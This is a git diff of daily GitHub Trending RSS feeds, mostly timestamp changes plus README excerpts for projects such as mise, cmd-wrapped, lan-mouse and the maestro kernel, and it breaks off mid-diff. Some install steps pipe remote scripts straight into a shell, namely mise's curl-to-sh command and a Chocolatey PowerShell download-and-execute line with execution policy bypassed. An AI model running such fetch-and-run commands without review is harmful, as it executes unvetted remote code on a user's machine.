2024-01-05T01:41:47Z + 2024-01-06T01:39:35Z Daily Trending of Roff in GitHub \ No newline at end of file diff --git a/rouge/daily/index.xml b/rouge/daily/index.xml index a05053e3de8..4d6f4a31f2e 100644 --- a/rouge/daily/index.xml +++ b/rouge/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rouge Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:49Z + 2024-01-06T01:39:37Z Daily Trending of Rouge in GitHub \ No newline at end of file diff --git a/rpc/daily/index.xml b/rpc/daily/index.xml index a22a3a8eade..99e5087efc2 100644 --- a/rpc/daily/index.xml +++ b/rpc/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:50Z + 2024-01-06T01:39:37Z Daily Trending of RPC in GitHub \ No newline at end of file diff --git a/rpgle/daily/index.xml b/rpgle/daily/index.xml index 373b32f6d43..ba315c486f4 100644 --- a/rpgle/daily/index.xml +++ b/rpgle/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPGLE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:52Z + 2024-01-06T01:39:38Z Daily Trending of RPGLE in GitHub \ No newline at end of file diff --git a/rpm-spec/daily/index.xml b/rpm-spec/daily/index.xml index 367b286de52..79f9c36bbf4 100644 --- a/rpm-spec/daily/index.xml +++ b/rpm-spec/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPM Spec Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:54Z + 2024-01-06T01:39:39Z Daily Trending of RPM Spec in GitHub \ No newline at end of file diff --git a/ruby/daily/index.xml b/ruby/daily/index.xml index a83ad989d73..d79c7b82413 100644 --- a/ruby/daily/index.xml +++ b/ruby/daily/index.xml @@ -1,7 +1,14 @@ GitHub Ruby Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:00Z + 2024-01-06T01:39:49Z Daily Trending of Ruby in GitHub + + accessd/terminal-sunday + 2024-01-06T01:39:49Z + tag:github.com,2024-01-06:/accessd/terminal-sunday + + <p>Start each new terminal session with a thought-provoking reminder of the time you have to make the most of your life!</p><hr><h1>The Terminal Sunday</h1> <blockquote> <p>"Remembering that I'll be dead soon is the most important tool I've ever encountered to help me make the big choices in life." - Steve Jobs</p> </blockquote> <p><img src="https://raw.githubusercontent.com/accessd/terminal-sunday/master/img/screenshot.png" alt="ScreenShot"></p> <p>The idea is to provide a graphical and thought-provoking view of one's life span, promoting a reflection on how we spend our time.</p> <h2>Ruby version</h2> <p>Made initially with Bash, I wrote another version with Ruby language because I love Ruby and to show <a href="https://isrubydead.com/">Ruby is not dead</a>! :)</p> <h2>Installation</h2> <p>The script should work on macOS and Linux. To use this script, follow the steps below:</p> <ol> <li>Download script or clone repository and make sure the script is executable:</li> </ol> <pre><code class="language-bash">curl -L https://raw.githubusercontent.com/accessd/terminal-sunday/main/terminal_sunday.sh -o "$HOME/terminal_sunday.sh" chmod +x "$HOME/terminal_sunday.sh" </code></pre> <ol start="2"> <li>Add the script run to the end of .bashrc/.zshrc/etc.</li> </ol> <pre><code class="language-bash">$HOME/terminal_sunday.sh 1985-06-08 Joe </code></pre> <p>Provide your birthdate and name to the script.</p> <p>You can run it randomly with:</p> <pre><code class="language-bash">(( RANDOM%2 == 0 )) &amp;&amp; $HOME/terminal_sunday.sh 1985-06-08 Joe </code></pre> <p>Or add sleep &amp;&amp; clear after the command</p> <pre><code class="language-bash">$HOME/terminal_sunday.sh 1985-06-08 Joe;sleep 1;clear </code></pre> <p>to clear the screen after one second.</p> <p>You can specify the number of columns by:</p> <pre><code class="language-bash">$HOME/terminal_sunday.sh 1985-06-08 Joe 10 </code></pre> <p>the main thing is that 80 is divisible without a remainder by this number of columns :)</p> <h2>Credits</h2> <p>Inspired by <a href="https://chromewebstore.google.com/detail/the-last-sunday-reminder/aiojhapcgfgmiacbbjfgedhlcchmpelh?pli=1">The Last Sunday</a> chrome extension.</p> <h2>Contributing</h2> <p>Contributions, ideas, and feedback are welcome. Feel free to fork the repository, make your changes, and create a pull request.</p> + \ No newline at end of file diff --git a/runoff/daily/index.xml b/runoff/daily/index.xml index a75e01a965e..c1bfad4fe05 100644 --- a/runoff/daily/index.xml +++ b/runoff/daily/index.xml @@ -1,7 +1,7 @@ GitHub RUNOFF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:41:53Z + 2024-01-06T01:39:40Z Daily Trending of RUNOFF in GitHub \ No newline at end of file diff --git a/rust/daily/index.xml b/rust/daily/index.xml index 5c88d4be982..f05dcfd6fd4 100644 --- a/rust/daily/index.xml +++ b/rust/daily/index.xml @@ -1,21 +1,21 @@ GitHub Rust Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:13Z + 2024-01-06T01:39:44Z Daily Trending of Rust in GitHub - jdx/mise - 2024-01-05T01:42:13Z - tag:github.com,2024-01-05:/jdx/mise - - <p>dev tools, env vars, task runner</p><hr><div align="center"> <h1><a href="https://mise.jdx.dev">mise-en-place</a></h1> <!-- <a href="https://mise.jdx.dev"><picture> --> <!-- <source media="(prefers-color-scheme: dark)" width="617" srcset="./docs/logo-dark@2x.png"> --> <!-- <img alt="mise logo" width="617" src="./docs/logo-light@2x.png"> --> <!-- </picture></a> --> <br> <a href="https://crates.io/crates/mise"><img alt="Crates.io" src="https://img.shields.io/crates/v/mise?style=for-the-badge"></a> <a href="https://github.com/jdx/mise/raw/main/LICENSE"><img alt="GitHub" src="https://img.shields.io/github/license/jdx/mise?color=%2320A920&amp;style=for-the-badge"></a> <a href="https://github.com/jdx/mise/actions/workflows/test.yml"><img alt="GitHub Workflow Status" src="https://img.shields.io/github/actions/workflow/status/jdx/mise/test.yml?color=%2320A920&amp;style=for-the-badge"></a> <!-- <a href="https://codecov.io/gh/jdx/mise"><img alt="Codecov" src="https://img.shields.io/codecov/c/github/jdx/mise?color=%2320A920&style=for-the-badge"></a> --> <a href="https://discord.gg/mABnUDvP57"><img alt="Discord" src="https://img.shields.io/discord/1066429325269794907?color=%23738ADB&amp;style=for-the-badge"></a> <p><em>The front-end to your dev env. (<a href="https://mise.jdx.dev/rtx.html">formerly called "rtx"</a>)</em></p> </div> <h2>What is it?</h2> <ul> <li>Like <a href="https://asdf-vm.com">asdf</a> (or <a href="https://github.com/nvm-sh/nvm">nvm</a> or <a href="https://github.com/pyenv/pyenv">pyenv</a> but for any language) it manages dev tools like node, python, cmake, terraform, and <a href="https://mise.jdx.dev/plugins.html">hundreds more</a>.</li> <li>Like <a href="https://github.com/direnv/direnv">direnv</a> it manages <a href="https://mise.jdx.dev/environments.html">environment variables</a> for different project directories.</li> <li>Like <a href="https://www.gnu.org/software/make/manual/make.html">make</a> it manages <a href="https://mise.jdx.dev/tasks/">tasks</a> used to build and test projects.</li> </ul> <h2>30 Second Demo</h2> <p>The following shows using mise to install different versions of <a href="https://nodejs.org">node</a>. Note that calling <code>which node</code> gives us a real path to node, not a shim.</p> <p><a href="https://raw.githubusercontent.com/jdx/mise/main/docs/demo.gif"><img src="https://raw.githubusercontent.com/jdx/mise/main/docs/demo.gif" alt="demo"></a></p> <h2>Quickstart</h2> <p>Install mise (other methods <a href="https://mise.jdx.dev/getting-started.html">here</a>):</p> <pre><code class="language-sh-session">$ curl https://mise.jdx.dev/install.sh | sh $ ~/.local/bin/mise --version mise 2024.1.6 </code></pre> <p>Hook mise into your shell (pick the right one for your shell):</p> <pre><code class="language-sh-session"># note this assumes mise is located at ~/.local/bin/mise # which is what install.sh does by default echo 'eval "$(~/.local/bin/mise activate bash)"' &gt;&gt; ~/.bashrc echo 'eval "$(~/.local/bin/mise activate zsh)"' &gt;&gt; ~/.zshrc echo '~/.local/bin/mise activate fish | source' &gt;&gt; ~/.config/fish/config.fish </code></pre> <p>Install a runtime and set it as the global default:</p> <pre><code class="language-sh-session">$ mise use --global node@20 $ node -v v20.0.0 </code></pre> <h2>Full Documentation</h2> <p>See <a href="https://mise.jdx.dev">mise.jdx.dev</a>.</p> + YiNNx/cmd-wrapped + 2024-01-06T01:39:44Z + tag:github.com,2024-01-06:/YiNNx/cmd-wrapped + + <p>Find out what your 2023 looks like in commandline!</p><hr><p align="right"> English / <a href="https://raw.githubusercontent.com/YiNNx/cmd-wrapped/master/README-CN.md">็ฎ€ไฝ“ไธญๆ–‡</a> </p> <div align="center"> <h1>cmd-wrapped</h1> <p>Find out what the past year looks like in commandline!<br></p> <p></p> <div> <img alt="Stars" src="https://img.shields.io/github/stars/YiNNx/cmd-wrapped?style=flat-square&amp;color=87e3dd&amp;labelColor=444B5A"> &nbsp; <img alt="Release" src="https://img.shields.io/github/v/release/YiNNx/cmd-wrapped?style=flat-square&amp;color=87e3dd&amp;labelColor=444B5A"> </div> <img src="https://raw.githubusercontent.com/YiNNx/cmd-wrapped/master/assets/image-20240105171950987.png" width="80%"> </div> <h2>Features</h2> <ul> <li>Analyze the command-line activity distribution for months, weekdays and hours, as well as frequently used commands over the past year.</li> <li>Github-style command distribution graph</li> <li>Supports both Zsh and Bash, and you can also specify other years with argumemt.</li> <li>A cute Ferris on the cover <img style="width:25px;vertical-align: bottom;" src="https://raw.githubusercontent.com/YiNNx/cmd-wrapped/master/assets/ferris_hello.gif"></li> </ul> <h2>How to Use</h2> <ol> <li> <p>Build from source (recommended, but requires <code>cargo</code> installed):</p> <pre><code class="language-shell">git clone git@github.com:YiNNx/cmd-wrapped.git cd cmd-wrapped # for the past year cargo run # or for any specific year cargo run -- 2022 </code></pre> </li> <li> <p>Download from <a href="https://github.com/YiNNx/cmd-wrapped/releases/latest">Release</a>, unzip and run the binary file in the terminal:</p> <pre><code class="language-shell"># for the past year ./cmd-wrapped # or for any specific year ./cmd-wrapped 2022 </code></pre> </li> </ol> <blockquote> <p>[!NOTE]</p> <p>In some cases, cmd-wrapped may fail to output correct data (such as <a href="https://github.com/YiNNx/cmd-wrapped/issues/3">all outputs being 0</a>). This is because it relies on Zsh / Bash tracking the timestamp for each command, which requires configuring specific options extraly:</p> <ul> <li>For Zsh - <a href="https://zsh.sourceforge.io/Doc/Release/Options.html#History">EXTENDED_HISTORY</a> (oh-my-zsh has it enabled by default)</li> <li>For Bash - <a href="https://www.gnu.org/software/bash/manual/bash.html#index-HISTTIMEFORMAT">HISTTIMEFORMAT</a></li> </ul> <p>Commands executed before configuring the option won't be recorded with a timestamp and this will affect cmd-wrappedโ€™s stats. If you find all your stats showing as 0, consider configuring the option now to view the cmd-wrapped stats next year :P</p> </blockquote> <h2>Credits &amp; License</h2> <ul> <li>Special thanks to <a href="https://github.com/jyi2ya">@jyi2ya</a> for the cooool idea!</li> <li>License: <a href="https://github.com/YiNNx/cmd-wrapped/raw/master/License">MIT</a></li> </ul> - feschber/lan-mouse - 2024-01-05T01:42:13Z - tag:github.com,2024-01-05:/feschber/lan-mouse - - <p>mouse & keyboard sharing via LAN</p><hr><h1>Lan Mouse</h1> <p>Lan Mouse is a mouse and keyboard sharing software similar to universal-control on Apple devices. It allows for using multiple pcs with a single set of mouse and keyboard. This is also known as a Software KVM switch.</p> <p>The primary target is Wayland on Linux but Windows and MacOS and Linux on Xorg have partial support as well (see below for more details).</p> <ul> <li><em>Now with a gtk frontend</em></li> </ul> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://github.com/feschber/lan-mouse/assets/40996949/016a06a9-76db-4951-9dcc-127d012c59df"> <source media="(prefers-color-scheme: light)" srcset="https://github.com/feschber/lan-mouse/assets/40996949/d6318340-f811-4e16-9d6e-d1b79883c709"> <img alt="Screenshot of Lan-Mouse" srcset="https://github.com/feschber/lan-mouse/assets/40996949/016a06a9-76db-4951-9dcc-127d012c59df"> </picture> <p>Goal of this project is to be an open-source replacement for proprietary tools like <a href="https://symless.com/synergy">Synergy 2/3</a>, <a href="https://www.sharemouse.com/de/">Share Mouse</a>.</p> <p>Focus lies on performance and a clean, manageable implementation that can easily be expanded to support additional backends like e.g. Android, iOS, ... .</p> <p><em><strong>blazingly fastโ„ข</strong></em> because it's written in rust.</p> <p>For an alternative (with slightly different goals) you may check out <a href="https://github.com/input-leap">Input Leap</a>.</p> <blockquote> <p>[!WARNING] Since this tool has gained a bit of popularity over the past couple of days:</p> <p>All network traffic is currently <strong>unencrypted</strong> and sent in <strong>plaintext</strong>.</p> <p>A malicious actor with access to the network could read input data or send input events with spoofed IPs to take control over a device.</p> <p>Therefore you should only use this tool in your local network with trusted devices for now and I take no responsibility for any leakage of data!</p> </blockquote> <h2>OS Support</h2> <p>The following table shows support for input emulation (to emulate events received from other clients) and input capture (to send events <em>to</em> other clients) on different operating systems:</p> <table> <thead> <tr> <th>Backend</th> <th>input emulation</th> <th>input capture</th> </tr> </thead> <tbody> <tr> <td>Wayland (wlroots)</td> <td><span>โœ”</span></td> <td><span>โœ”</span></td> </tr> <tr> <td>Wayland (KDE)</td> <td><span>โœ”</span></td> <td><span>โœ”</span></td> </tr> <tr> <td>Wayland (Gnome)</td> <td><span>โœ”</span></td> <td>WIP</td> </tr> <tr> <td>X11</td> <td><span>โœ”</span></td> <td>WIP</td> </tr> <tr> <td>Windows</td> <td><span>โœ”</span></td> <td>WIP</td> </tr> <tr> <td>MacOS</td> <td>( <span>โœ”</span> )</td> <td>WIP</td> </tr> </tbody> </table> <p>Keycode translation is not yet implemented so on MacOS only mouse emulation works as of right now.</p> <h2>Build and Run</h2> <h3>Install Dependencies</h3> <h4>Macos</h4> <pre><code class="language-sh">brew install libadwaita </code></pre> <h4>Ubuntu and derivatives</h4> <pre><code class="language-sh">sudo apt install libadwaita-1-dev libgtk-4-dev libx11-dev libxtst-dev </code></pre> <h4>Arch and derivatives</h4> <pre><code class="language-sh">sudo pacman -S libadwaita gtk libx11 libxtst </code></pre> <h4>Fedora and derivatives</h4> <pre><code class="language-sh">sudo dnf install libadwaita-devel libXtst-devel libX11-devel </code></pre> <h4>Windows</h4> <p>Follow the instructions at <a href="https://gtk-rs.org/gtk4-rs/stable/latest/book/installation_windows.html">gtk-rs.org</a></p> <p><em>TLDR:</em></p> <p>Build gtk from source</p> <ul> <li>The following commands should be run in an admin power shell instance:</li> </ul> <pre><code class="language-sh"># install chocolatey Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')) # install python 3.11 (Version is important, as 3.12 does not work currently) choco install python --version=3.11.0 # install git choco install git # install msys2 choco install msys2 # install Visual Studio 2022 choco install visualstudio2022-workload-vctools </code></pre> <ul> <li>The following commands should be run in a regular power shell instance:</li> </ul> <pre><code class="language-sh"># install gvsbuild with python python -m pip install --user pipx python -m pipx ensurepath pipx install gvsbuild # build gtk + libadwaita gvsbuild build gtk4 libadwaita librsvg </code></pre> <p>Make sure to add the directory <code>C:\gtk-build\gtk\x64\release\bin</code> <a href="https://raw.githubusercontent.com/feschber/lan-mouse/main/(https://learn.microsoft.com/en-us/previous-versions/office/developer/sharepoint-2010/ee537574(v=office.14))">to the <code>PATH</code> environment variable</a>. Otherwise the project will fail to build.</p> <p>To avoid building GTK from source, it is possible to disable the gtk frontend (see conditional compilation below).</p> <h3>Build and run</h3> <p>Build in release mode:</p> <pre><code class="language-sh">cargo build --release </code></pre> <p>Run directly:</p> <pre><code class="language-sh">cargo run --release </code></pre> <h3>Conditional Compilation</h3> <p>Currently only x11, wayland, windows and MacOS are supported backends. Depending on the toolchain used, support for other platforms is omitted automatically (it does not make sense to build a Windows <code>.exe</code> with support for x11 and wayland backends).</p> <p>However one might still want to omit support for e.g. wayland, x11 or libei on a Linux system.</p> <p>This is possible through <a href="https://doc.rust-lang.org/cargo/reference/features.html">cargo features</a>.</p> <p>E.g. if only wayland support is needed, the following command produces an executable with just support for wayland:</p> <pre><code class="language-sh">cargo build --no-default-features --features wayland </code></pre> <p>For a detailed list of available features, checkout the <a href="https://raw.githubusercontent.com/feschber/lan-mouse/main/Cargo.toml">Cargo.toml</a></p> <h2>Usage</h2> <h3>Gtk Frontend</h3> <p>By default the gtk frontend will open when running <code>lan-mouse</code>.</p> <p>To add a new connection, simply click the <code>Add</code> button on <em>both</em> devices, enter the corresponding hostname and activate it.</p> <p>If the mouse can not be moved onto a device, make sure you have port <code>4242</code> (or the one selected) opened up in your firewall.</p> <h3>Command Line Interface</h3> <p>The cli interface can be enabled using <code>--frontend cli</code> as commandline arguments. Type <code>help</code> to list the available commands.</p> <p>E.g.:</p> <pre><code class="language-sh">$ cargo run --release -- --frontend cli (...) &gt; connect &lt;host&gt; left|right|top|bottom (...) &gt; list (...) &gt; activate 0 </code></pre> <h3>Daemon</h3> <p>Lan Mouse can be launched in daemon mode to keep it running in the background. To do so, add <code>--daemon</code> to the commandline args:</p> <pre><code class="language-sh">$ cargo run --release -- --daemon </code></pre> <h2>Configuration</h2> <p>To automatically load clients on startup, the file <code>$XDG_CONFIG_HOME/lan-mouse/config.toml</code> is parsed. <code>$XDG_CONFIG_HOME</code> defaults to <code>~/.config/</code>.</p> <p>To create this file you can copy the following example config:</p> <h3>Example config</h3> <pre><code class="language-toml"># example configuration # optional port (defaults to 4242) port = 4242 # # optional frontend -&gt; defaults to gtk if available # # possible values are "cli" and "gtk" # frontend = "gtk" # define a client on the right side with host name "iridium" [right] # hostname host_name = "iridium" # optional list of (known) ip addresses ips = ["192.168.178.156"] # define a client on the left side with IP address 192.168.178.189 [left] # The hostname is optional: When no hostname is specified, # at least one ip address needs to be specified. host_name = "thorium" # ips for ethernet and wifi ips = ["192.168.178.189", "192.168.178.172"] # optional port port = 4242 </code></pre> <p>Where <code>left</code> can be either <code>left</code>, <code>right</code>, <code>top</code> or <code>bottom</code>.</p> <h2>Roadmap</h2> <ul> <li><input type="checkbox" checked disabled> Graphical frontend (gtk + libadwaita)</li> <li><input type="checkbox" checked disabled> respect xdg-config-home for config file location.</li> <li><input type="checkbox" checked disabled> IP Address switching</li> <li><input type="checkbox" checked disabled> Liveness tracking Automatically ungrab mouse when client unreachable</li> <li><input type="checkbox" checked disabled> Liveness tracking: Automatically release keys, when server offline</li> <li><input type="checkbox" disabled> Libei Input Capture</li> <li><input type="checkbox" disabled> X11 Input Capture</li> <li><input type="checkbox" disabled> Windows Input Capture</li> <li><input type="checkbox" disabled> MacOS Input Capture</li> <li><input type="checkbox" disabled> MaxOS KeyCode Translation</li> <li><input type="checkbox" disabled> Latency measurement and visualization</li> <li><input type="checkbox" disabled> Bandwidth usage measurement and visualization</li> <li><input type="checkbox" disabled> Clipboard support</li> <li><input type="checkbox" disabled> <em>Encryption</em></li> </ul> <h2>Protocol</h2> <p>Currently <em>all</em> mouse and keyboard events are sent via <strong>UDP</strong> for performance reasons. Each event is sent as one single datagram, currently without any acknowledgement to guarantee 0% packet loss. This means, any packet that is lost results in a discarded mouse / key event, which is ignored for now.</p> <p><strong>UDP</strong> also has the additional benefit that no reconnection logic is required. Any client can just go offline and it will simply start working again as soon as it comes back online.</p> <p>Additionally a tcp server is hosted for data that needs to be sent reliably (e.g. the keymap from the server or clipboard contents in the future) can be requested via a tcp connection.</p> <h2>Bandwidth considerations</h2> <p>The most bandwidth is taken up by mouse events. A typical office mouse has a polling rate of 125Hz while gaming mice typically have a much higher polling rate of 1000Hz. A mouse Event consists of 21 Bytes:</p> <ul> <li>1 Byte for the event type enum,</li> <li>4 Bytes (u32) for the timestamp,</li> <li>8 Bytes (f64) for dx,</li> <li>8 Bytes (f64) for dy.</li> </ul> <p>Additionally the IP header with 20 Bytes and the udp header with 8 Bytes take up another 28 Byte. So in total there is 49 * 1000 Bytes/s for a 1000Hz gaming mouse. This makes for a bandwidth requirement of 392 kbit/s in total <em>even</em> for a high end gaming mouse. So bandwidth is a non-issue.</p> <p>Larger data chunks, like the keymap are offered by the server via tcp listening on the same port. This way we dont need to implement any congestion control and leave this up to tcp. In the future this can be used for e.g. clipboard contents as well.</p> <h2>Packets per Second</h2> <p>While on LAN the performance is great, some WIFI cards seem to struggle with the amount of packets per second, particularly on high-end gaming mice with 1000Hz+ polling rates.</p> <p>The plan is to implement a way of accumulating packets and sending them as one single key event to reduce the packet rate (basically reducing the polling rate artificially).</p> <p>The way movement data is currently sent is also quite wasteful since even a 16bit integer is likely enough to represent even the fastest possible mouse movement. A different encoding that is more efficient for smaller values like <a href="https://protobuf.dev/programming-guides/encoding/">Protocol Buffers</a> would be a better choice for the future and could also help for WIFI connections.</p> <h2>Security</h2> <p>Sending key and mouse event data over the local network might not be the biggest security concern but in any public network or business environment it's <em>QUITE</em> a problem to basically broadcast your keystrokes.</p> <ul> <li>There should be an encryption layer below the application to enable a secure link.</li> <li>The encryption keys could be generated by the graphical frontend.</li> </ul> <h2>Wayland support</h2> <h3>Input Emulation (for receiving events)</h3> <p>On wayland input-emulation is in an early/unstable state as of writing this.</p> <p>For this reason a suitable backend is chosen based on the active desktop environment / compositor.</p> <p>Different compositors have different ways of enabling input emulation:</p> <h4>Wlroots</h4> <p>Most wlroots-based compositors like Hyprland and Sway support the following unstable wayland protocols for keyboard and mouse emulation:</p> <ul> <li><a href="https://wayland.app/protocols/virtual-keyboard-unstable-v1">virtual-keyboard-unstable-v1</a></li> <li><a href="https://wayland.app/protocols/wlr-virtual-pointer-unstable-v1">wlr-virtual-pointer-unstable-v1</a></li> </ul> <h4>KDE</h4> <p>KDE also has a protocol for input emulation (<a href="https://wayland.app/protocols/kde-fake-input">kde-fake-input</a>), it is however not exposed to third party applications.</p> <p>The recommended way to emulate input on KDE is the <a href="https://flatpak.github.io/xdg-desktop-portal/#gdbus-org.freedesktop.portal.RemoteDesktop">freedesktop remote-desktop-portal</a>.</p> <h4>Gnome</h4> <p>Gnome uses <a href="https://gitlab.freedesktop.org/libinput/libei">libei</a> for input emulation and capture, which has the goal to become the general approach for emulating and capturing Input on Wayland.</p> <h3>Input capture</h3> <p>To capture mouse and keyboard input, a few things are necessary:</p> <ul> <li>Displaying an immovable surface at screen edges</li> <li>Locking the mouse in place</li> <li>(optionally but highly recommended) reading unaccelerated mouse input</li> </ul> <table> <thead> <tr> <th>Required Protocols (Event Emitting)</th> <th>Sway</th> <th>Kwin</th> <th>Gnome</th> </tr> </thead> <tbody> <tr> <td>pointer-constraints-unstable-v1</td> <td><span>โœ”</span></td> <td><span>โœ”</span></td> <td><span>โœ”</span></td> </tr> <tr> <td>relative-pointer-unstable-v1</td> <td><span>โœ”</span></td> <td><span>โœ”</span></td> <td><span>โœ”</span></td> </tr> <tr> <td>keyboard-shortcuts-inhibit-unstable-v1</td> <td><span>โœ”</span></td> <td><span>โœ”</span></td> <td><span>โœ”</span></td> </tr> <tr> <td>wlr-layer-shell-unstable-v1</td> <td><span>โœ”</span></td> <td><span>โœ”</span></td> <td><span>โŒ</span></td> </tr> </tbody> </table> <p>The <a href="https://raw.githubusercontent.com/feschber/lan-mouse/main/wlr-virtual-pointer-unstable-v1">zwlr_virtual_pointer_manager_v1</a> is required to display surfaces on screen edges and used to display the immovable window on both wlroots based compositors and KDE.</p> <p>Gnome unfortunately does not support this protocol and <a href="https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/1141">likely won't ever support it</a>.</p> <p><del>In order for layershell surfaces to be able to lock the pointer using the pointer_constraints protocol <a href="https://github.com/swaywm/sway/pull/7178">this patch</a> needs to be applied to sway.</del> (this works natively on sway versions &gt;= 1.8)</p> + llenotre/maestro + 2024-01-06T01:39:44Z + tag:github.com,2024-01-06:/llenotre/maestro + + <p>Unix-like kernel written in Rust</p><hr><p align="center"> <picture> <source media="(prefers-color-scheme: light)" srcset="https://raw.githubusercontent.com/llenotre/maestro-lnf/master/logo-light.svg"> <img src="https://raw.githubusercontent.com/llenotre/maestro-lnf/master/logo.svg?sanitize=true" alt="logo" width="50%"> </picture> </p> <p><a href="https://raw.githubusercontent.com/llenotre/maestro/master/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue.svg?style=for-the-badge&amp;logo=book" alt="MIT license"></a> <img src="https://img.shields.io/badge/dynamic/toml?url=https%3A%2F%2Fraw.githubusercontent.com%2Fllenotre%2Fmaestro%2Fmaster%2FCargo.toml&amp;query=%24.package.version&amp;style=for-the-badge&amp;label=version" alt="Version"> <img src="https://img.shields.io/badge/dynamic/toml?url=https%3A%2F%2Fraw.githubusercontent.com%2Fllenotre%2Fmaestro%2Fmaster%2Frust-toolchain.toml&amp;query=%24.toolchain.channel&amp;style=for-the-badge&amp;logo=rust&amp;label=rust%20toolchain&amp;color=%23444" alt="Rust toolchain"> <img src="https://img.shields.io/github/actions/workflow/status/llenotre/maestro/check.yml?style=for-the-badge&amp;logo=github" alt="Continuous integration"> <img src="https://img.shields.io/github/stars/llenotre/maestro?style=for-the-badge&amp;color=yellow" alt="Stars"> <a href="https://discord.gg/4JMBN3YPAk"><img src="https://img.shields.io/discord/971452040821760080?style=for-the-badge&amp;logo=discord&amp;color=%235865f2" alt="Discord"></a></p> <h1>About</h1> <p>Maestro is a lightweight Unix-like kernel written in Rust.</p> <p>The goal is to provide a lightweight operating system able to use the safety features of the Rust language to be reliable.</p> <blockquote> <p>This project is still in early stage development, thus it is highly unstable and misses a lot of features. <strong>Do not use it in production!</strong></p> </blockquote> <p>To stay updated with the project, follow the <a href="https://blog.lenot.re">blog</a>!</p> <p align="center"> <img src="https://blog.lenot.re/assets/article/neofetch.png" alt="neofetch" width="100%"> </p> <p><a href="https://github.com/dylanaraps/neofetch">Neofetch</a> and bash running on the OS.</p> <h1>Features</h1> <p>The following features are currently implemented (non-exhaustive):</p> <ul> <li>Terminal with <a href="https://en.wikipedia.org/wiki/VGA_text_mode">VGA text mode</a> and <a href="https://en.wikipedia.org/wiki/PS/2_port">PS/2</a> keyboard (with forward compatibility with USB handled by the motherboard's firmware) <ul> <li>Partial support of <a href="https://en.wikipedia.org/wiki/ANSI_escape_code">ANSI escape codes</a></li> </ul> </li> <li>Memory allocation/virtual memory <ul> <li><a href="https://en.wikipedia.org/wiki/Buddy_memory_allocation">Buddy allocator</a></li> <li>Internal memory allocator, with similarities with <strong>dlmalloc</strong>'s implementation, working on top of the buddy allocator</li> </ul> </li> <li>Processes and <a href="https://en.wikipedia.org/wiki/Scheduling_(computing)">scheduler</a> (<a href="https://en.wikipedia.org/wiki/Round-robin_scheduling">round-robin</a>) <ul> <li>POSIX signals</li> </ul> </li> <li><a href="https://en.wikipedia.org/wiki/Peripheral_Component_Interconnect">PCI</a> devices enumeration</li> <li>Files: <ul> <li>Mountpoints</li> <li><a href="https://en.wikipedia.org/wiki/Parallel_ATA">IDE/PATA</a> driver</li> <li>Filesystem (<a href="https://en.wikipedia.org/wiki/Extended_file_system">ext2</a> only for now)</li> <li>Disk partitions (<a href="https://en.wikipedia.org/wiki/Master_boot_record">MBR</a> and <a href="https://en.wikipedia.org/wiki/GUID_Partition_Table">GPT</a>)</li> <li>Virtual filesystems (<code>/tmp</code> and <code>/proc</code>)</li> <li>initramfs</li> </ul> </li> <li>Time/Clock (<a href="https://en.wikipedia.org/wiki/Real-time_clock">RTC</a>)</li> <li>Linux system calls (roughly 30% are currently implemented)</li> <li>Kernel modules</li> <li><a href="https://en.wikipedia.org/wiki/Executable_and_Linkable_Format">ELF</a> programs</li> </ul> <h1>Quickstart</h1> <p>This repository is not a full operating system in itself but only the kernel.</p> <p>You can either:</p> <ul> <li>Use the <a href="https://github.com/llenotre/maestro-install">installer</a> to build a full operating system from an ISO file</li> <li>Build the OS by hand. For this, you can check the kernel's book</li> </ul> <p>The OS can then be run by a virtual machine such a <strong>QEMU</strong> or <strong>VirtualBox</strong>, or on a physical machine.</p> <h2>Build</h2> <p>The configuration allows to easily specify which features have to be enabled in the kernel. This configuration is <em>required</em> to compile the kernel.</p> <p>A default configuration is available in the file <code>default.config.toml</code>. To use it, simply type the command:</p> <pre><code class="language-sh">cp default.config.toml config.toml </code></pre> <p>After configuration, the kernel can be built using the following commands:</p> <pre><code class="language-sh">cargo build # Debug mode cargo build --release # Release mode </code></pre> <p>The default architecture is <code>x86</code>. To specify another architecture, add the following parameter to the build command: <code>--target arch/&lt;arch&gt;/&lt;arch&gt;.json</code>, where <code>&lt;arch&gt;</code> is the selected architecture.</p> <p>The list of available architectures can be retrieved by typing the command:</p> <pre><code class="language-sh">ls -1 arch/ </code></pre> <h2>Run</h2> <h3>With QEMU</h3> <p>QEMU is the preferred virtual machine to test the kernel.</p> <p>To install QEMU, type the following command:</p> <p>Ubuntu/Debian:</p> <pre><code class="language-sh">apt install qemu </code></pre> <p>Arch Linux:</p> <pre><code class="language-sh">pacman -S qemu </code></pre> <p>A fully built operating system is required to run the system. This system must be present on a raw disk in the file <code>qemu_disk</code> at the root of the repository. The option <code>-drive file=qemu_disk,format=raw</code> is used on QEMU to reference the disk.</p> <p>The kernel can be run using:</p> <pre><code class="language-sh">cargo run # Debug mode cargo run --release # Release mode </code></pre> <h4>Run unit tests</h4> <p>The following command runs unit tests in QEMU:</p> <pre><code class="language-sh">cargo test --lib </code></pre> <h2>Documentation</h2> <h3>The book</h3> <p>The kernel's book contains general information on how to use the kernel.</p> <p>The book can be built using <em>mdbook</em>, with the command:</p> <pre><code class="language-sh">mdbook build doc/ </code></pre> <p>Then, it can be accessed at <code>doc/book/index.html</code>.</p> <h3>References</h3> <p>The references contain the documentation for functions, structures, etc...</p> <p>It can be built using the command:</p> <pre><code class="language-sh">cargo doc </code></pre> <p>Then, it can be accessed at <code>target/&lt;arch&gt;/doc/kernel/index.html</code>, where <code>&lt;arch&gt;</code> is the architecture the kernel has been compiled for.</p> \ No newline at end of file diff --git a/sage/daily/index.xml b/sage/daily/index.xml index 76cec142ce6..5a35ebedc5d 100644 --- a/sage/daily/index.xml +++ 